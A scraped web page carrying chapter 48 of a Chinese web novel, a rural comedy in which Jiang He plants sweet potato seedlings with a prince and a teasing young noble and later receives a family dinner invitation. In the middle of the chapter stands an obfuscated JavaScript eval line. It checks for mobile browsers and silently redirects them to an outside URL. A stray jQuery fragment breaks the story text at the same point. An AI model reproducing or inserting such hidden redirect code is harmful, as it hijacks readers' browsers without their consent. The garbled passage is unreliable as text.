48. 第四十八章
作品:《靠种地养了个王爷》 姜禾回头,来人竟是宋暮山。
两日未见,他似乎憔悴了不少,一开口还是那副贱兮兮的模样,倒是一点没变。
“这小东西竟是番邦之物,我还道是什么稀罕物,值得你这么宝贝。”宋暮山说着转向了萧昫,继续道:“你也太惯着这位祖宗了吧,这异族人的东西能吃吗,也不怕有毒。”
萧昫纠正道:“不是惯,我信她。”
宋暮山“啧”了一声,一副一言难尽的样子,心里忍不住腹诽,这还不是惯着,照你这疯劲儿,她若是哪天指着天上的月亮说想要,你怕是也会给她摘下来。这般不顾一切的模样,她若是哪天真没了,你怕是会即刻跟着殉情。
想到这,宋暮山冷不丁打了个寒噤,赶紧在心里“呸呸呸”地连吐了好几口唾沫,暗自道本世子嘴欠,这种不吉利的话可千万别应验。这么自我安慰了一通,心里才踏实了些。
见姜禾往他这边看来,宋暮山那股混劲又上来了,笑道:“怎的了,姜丫头一直盯着本世子,可是两日不见,心里怪想的?倒也不必看得这么紧,左右我刚来也不会跑!还不是随你想怎么瞧都行,想瞧哪也都行。”
这话越说越没边,没等他嘴欠完,萧昫已经看了过来,眼神冷飕飕的,像是已经想好准备把他埋在哪了。
宋暮山后脑勺一凉,非常有求生欲地离萧昫远了两步,小声嘟囔:“我就随便一说,瞧你那护食的劲儿……只瞧你一个行了吧,她想瞧哪你就给她瞧哪。”
萧昫面色更冷了些:“……”
姜禾听得满脸黑线:“???”
萧昫冷冷道:“你若是嫌舌头多余,我不介意帮你割了。”
宋暮山惊恐得捂住嘴,语调不清地咕哝道:“姜丫头,你家小小萧好凶哦,你也不管管吗?”
姜禾:“……”
姜禾决定直接无视这个话题,看向宋暮山,问道:“你知道番薯?”
宋暮山答:“不知道!”
姜禾:“……”
许是姜禾看傻子一样的眼神太过明显,宋暮山又补充了一句:“不是你说的嘛,番薯啊!番邦之物,我怀疑它有毒不是很正常嘛?你这么看我作甚?”他说着说着又开始不正经起来,“哎哎,姜丫头你可得收收眼,再这么看下去,小小萧当真要找个月黑风高的夜晚把我给埋了。”
姜禾在心里翻了个白眼,心说我再跟你说话,我都不叫姜禾。
她不说话,萧昫却先开了口,问:“托你的事,如何了?”
说到这个,宋暮山正了正色,道:“放心,宋家于她有恩,令一出,她必来,最迟七天内便会有消息。”
“七日?”萧昫微微皱眉。
“我的好王爷,人家又不是领俸禄的公差,能由着你随叫随到?有召必回已经是看在我家老爷子的面子上了。不是我托大,想使唤这位主儿,就算是你家那位出马也未必有效。”
萧昫没答。
姜禾旁听了一会,也不知道他们在打什么哑谜,不过看萧昫凝重的神色,想来不是小事。
不过她也没兴趣打听,转过身准备张罗移栽的事,谁知这一回头,竟瞧见原本等在牛车旁准备干活的农人们都躲出了老远。原本宽敞的田间小路,不知何时只剩下她、萧昫、土生,以及宋暮山这个乌鸦嘴。
托了宋暮山那句“有毒”的福,那一盆盆红薯苗这会子在众多农人眼里,不像是能填饱肚子的口粮,倒更像是什么会吃人的猛兽。
“阿姐……”土生见状,苦着一张小脸,凑到姜禾身边,问:“这可怎么办?”
他虽然无条件相信自家阿姐,可看着大家抵触的神色,心里也打起了鼓。
土生正苦恼着,忽见他阿姐神色从容,不知从哪掏出来一个东西,他见过,是番薯没发芽时候的样子。
姜禾道:“你们过来些!”
农户们面面相觑,却没人敢动。
姜禾也不恼,一把将手里的番薯掰成两半,露出内里粉嫩的薯肉给众人看:“不用害怕,你们瞧这色泽模样,像是有毒的样子吗?”
说是不用害怕,可农户们还是很害怕,齐齐往后退了一步,嘴上却说:“我、我们自然是信您的!”
姜禾:“……”
姜禾额角跳了跳,看着这群人口是心非的模样,不气反笑,索性不再多言,直接把那半块番薯塞进嘴里咬了一口,嘎巴嘎巴嚼了起来。
一群人瞪大了眼睛,屏息凝神地盯着她,那表情像是认定她下一秒就要七窍流血、倒地不起一般。
宋暮山也惊了,“啧”了一声,道:“姜丫头,你还真吃啊?”
姜禾没搭理他,又嘎巴咬了一口。
时间一分一秒过去。
众人见她安然无恙,这才稍稍松了口气,却还是不敢靠近。
姜禾见状,忽然很夸张地笑了一下,灵机一动道:“忙了一上午我都饿了,这番薯脆甜脆甜的,很好吃呢。你们要尝尝吗?”
众人脑袋摇得像拨浪鼓。
姜禾挑眉,故意冷了声音:“嗯?是不饿?还是不敢吃?”
此时已近午时,说不饿是假的,可看着那番邦异物,众人异口同声,喊道:“不饿!一点都不饿!”
“这样啊……”姜禾沉下脸来,佯装动怒:“那还不快去干活!”
众人先是愣了一下,反应过来后如蒙大赦,道:“是是是,就去就去。”
说着像是看到了什么救星一般,一窝蜂地涌向那些红薯苗。
姜禾见状,这才转头看向罪魁祸首,道:“你可真会给我找事。”
宋暮山呵呵笑说:“好事多磨嘛,好事多磨。”
脸皮之厚,无人能及。
姜禾冷笑一声,抬手一指田里:“既然这么会说,那你也下去磨一磨。”
宋暮山一愣,甚至有点怀疑自己耳朵是不是出了什么问题,不可思议道:“你让本世子下地干活?”
姜禾却说:“不行吗?”
宋暮山刚想抗议,一扭头,却见萧昫已经默默撸起袖子走向田间,再往旁边瞧,郑祎竟也早已扎进了人堆里,正跟农人们有说有笑地搬着秧苗。
宋暮山那点世子爷的架子瞬间垮了,无奈地摇头失笑:“行行行……本世子今天就当是体察民情了。”
说着,他一边撸起袖子,一边屁颠屁颠地朝着郑祎的方向追了过去,口里还不知死活地喊着:“祎祎,我来帮你。这劳什子活计,本世子一看就会。”
……
半个时辰后。
姜禾看着地里东倒西歪的秧苗,再看看蹲在田垄上一脸无辜的宋暮山,只觉得太阳穴突突直跳。
有句话怎么说的来着,一看就会,一干就废。这句话放在宋暮山身上,倒还真一点不错。这人刚进地里没多久,就给她弄毁了好几株秧苗,给姜禾心疼的啊,直接将人发配扶犁具去了。
起初他还不情不愿,非要和萧昫比,一脸不服气道:“凭什么小小萧能在这儿下苗,我就得去扶犁具啊,姜丫头,你这心偏得也太没边了吧?”
姜禾把被他毁掉的几株秧苗拿到他跟前甩了甩,道:“也不看看你干的好事,还有脸说……我告诉你,你今天晚上就只吃这个就行。”
宋暮山抹了一把溅到脸上的泥点子,不情不愿地扶犁去了,人都走了还不忘嘟囔一句,“你这是虐待。”
姜禾盯着他的背影看了一会,确认他老老实实,没再整什么幺蛾子,这才收回目光。
再看身侧还蹲在田垄间埋头栽苗的萧昫,不得不说,还是这个让人省心啊。虽说手法不甚熟练,但也不至于像宋暮山那样专搞破坏。
姜禾顺了口气,道:“你去看着宋暮山吧,别让他再整出什么乱子。”
萧昫手下的动作顿了顿,侧眸扫了一眼远处正跟耕牛较劲的宋暮山,没动。
过了半晌,他才淡声道:“让他走。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393653|193470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姜禾:“???”
这么直接的吗?刚才看你们不还挺好的模样,还搁那打哑谜。
还没等姜禾琢磨出个味儿来,宋暮山那头又扯着嗓子喊起来了。
“姜丫头,晚膳我要吃红烧狮子头,多搁点糖。”
“祎祎,你帮我记着,还得要个清蒸鲈鱼,要有巴掌宽的那种。本世子这辈子都没被人这么当牛马使唤过,今儿个累得腰都直不起来了,非得补补不可。”
姜禾听了一耳朵,顿时气笑了。
原本安安静静的一方田地,因着宋暮山这张闲不住的嘴,搅得倒像赶集似的。郑祎忍无可忍,直接扔了个土块过去,这才换得片刻清净。
待到收工时分,姜禾特意将那几株被毁的红薯秧苗拿去厨房,让人做成了窝窝头。
饭上来后,姜禾拿起一个,递给萧昫:“你尝尝吗?很好吃的!”
萧昫端详片刻:“便是白日里种的那个?”
姜禾点头,正想解释这红薯秧苗也能食用,却见萧昫已然接过手,不疾不徐地咬了一口。
他细细咀嚼片刻,咽下后才道:“味道好极。”
姜禾眉眼弯弯,道:“没骗你吧。”
饭吃到一半,萧昫像是突然想起了什么,看向姜禾:“多年未见兄嫂,今日二哥传信,说是想在家中设个便宴。你……可愿同去?”
姜禾正喝着汤,闻言一愣:“既然是家宴,我就不去凑热闹了吧?”
“只是寻常叙旧,并无外人。”似是怕她不去,萧昫又补了一句,“兄嫂性情温厚,定不会教你觉得局促。”
姜禾想了想,便应道:“定在几时?”
萧昫略一思忖:“后日,如何?”
这时,宋暮山凑了过来,探头道:“后日作甚?也带上我呗!”
姜禾:“……”
郑祎状似嫌弃道:“哪都有你,王爷家宴你也要凑热闹?”
宋暮山倒是理直气壮:“怎的了?咱们可是一道长大的交情,不也是亲如一家么。”
一旁的郑安闻言,忍不住讥讽道:“亲如一家?这会儿倒是往跟前凑了,当年王爷最难的时候,怎的不见你这般殷勤。”
郑安这话一出,气氛顿时有些微妙。
姜禾虽不知内情,却也隐约察觉出几分不对。宋暮山口中“一起长大的交情”,似乎早就停在了许多年前。
说到当年,自萧昫母妃卫皇后出事后,曾与卫家交好的世家避之唯恐不及,宋家更是借机将自家女儿送进宫中,填补了卫皇后留下的空缺。
昔日情分,早已淡得只剩个名头。
饶是宋暮山脸皮再厚,提到当年之事,也有些挂不住脸。
这时,冯小满插了句嘴:“姜姐姐,我和土生、王婶能跟着去见见世面吗?”
土生和王氏听了这话,却是连连摇头,道:“这怎么使得,那可是皇子殿下,俺们这样的泥腿子,哪配得上一个桌吃饭啊……”
冯小满听了这话,顿时不乐意了:“怎就使不得了?王爷不也是皇子么,还不是一样不嫌弃咱们?你这话说的,倒像是二殿下夫妇是甚么嫌贫爱富的人一般。”
王氏一听自己的话被这么个理解法,顿时更急了,连声道:“不是不是,俺这笨嘴笨舌的,可不是那个意思。王爷王妃自然是极好的人,只是俺……俺嘴笨,不会说话,去了反倒给姜姑娘丢人。”
见王氏这般卑微模样,冯小满气得把筷子往桌上一扔。
“啪嗒”一声,筷子滚落到地上,在寂静的堂屋里格外响亮。
冯小满猛地回过神,看着众人投来的目光,自知一时心急,失了分寸,局促地掰着手指,不敢再多言语。
不知想到了什么,一直沉默的萧昫突然开口:“一起吧,人多热闹些。兄长喜欢烟火气,不会怪罪。”
宋暮山指着自己:“那我呢?”
萧昫斜了他一眼,淡淡道:“随你。”

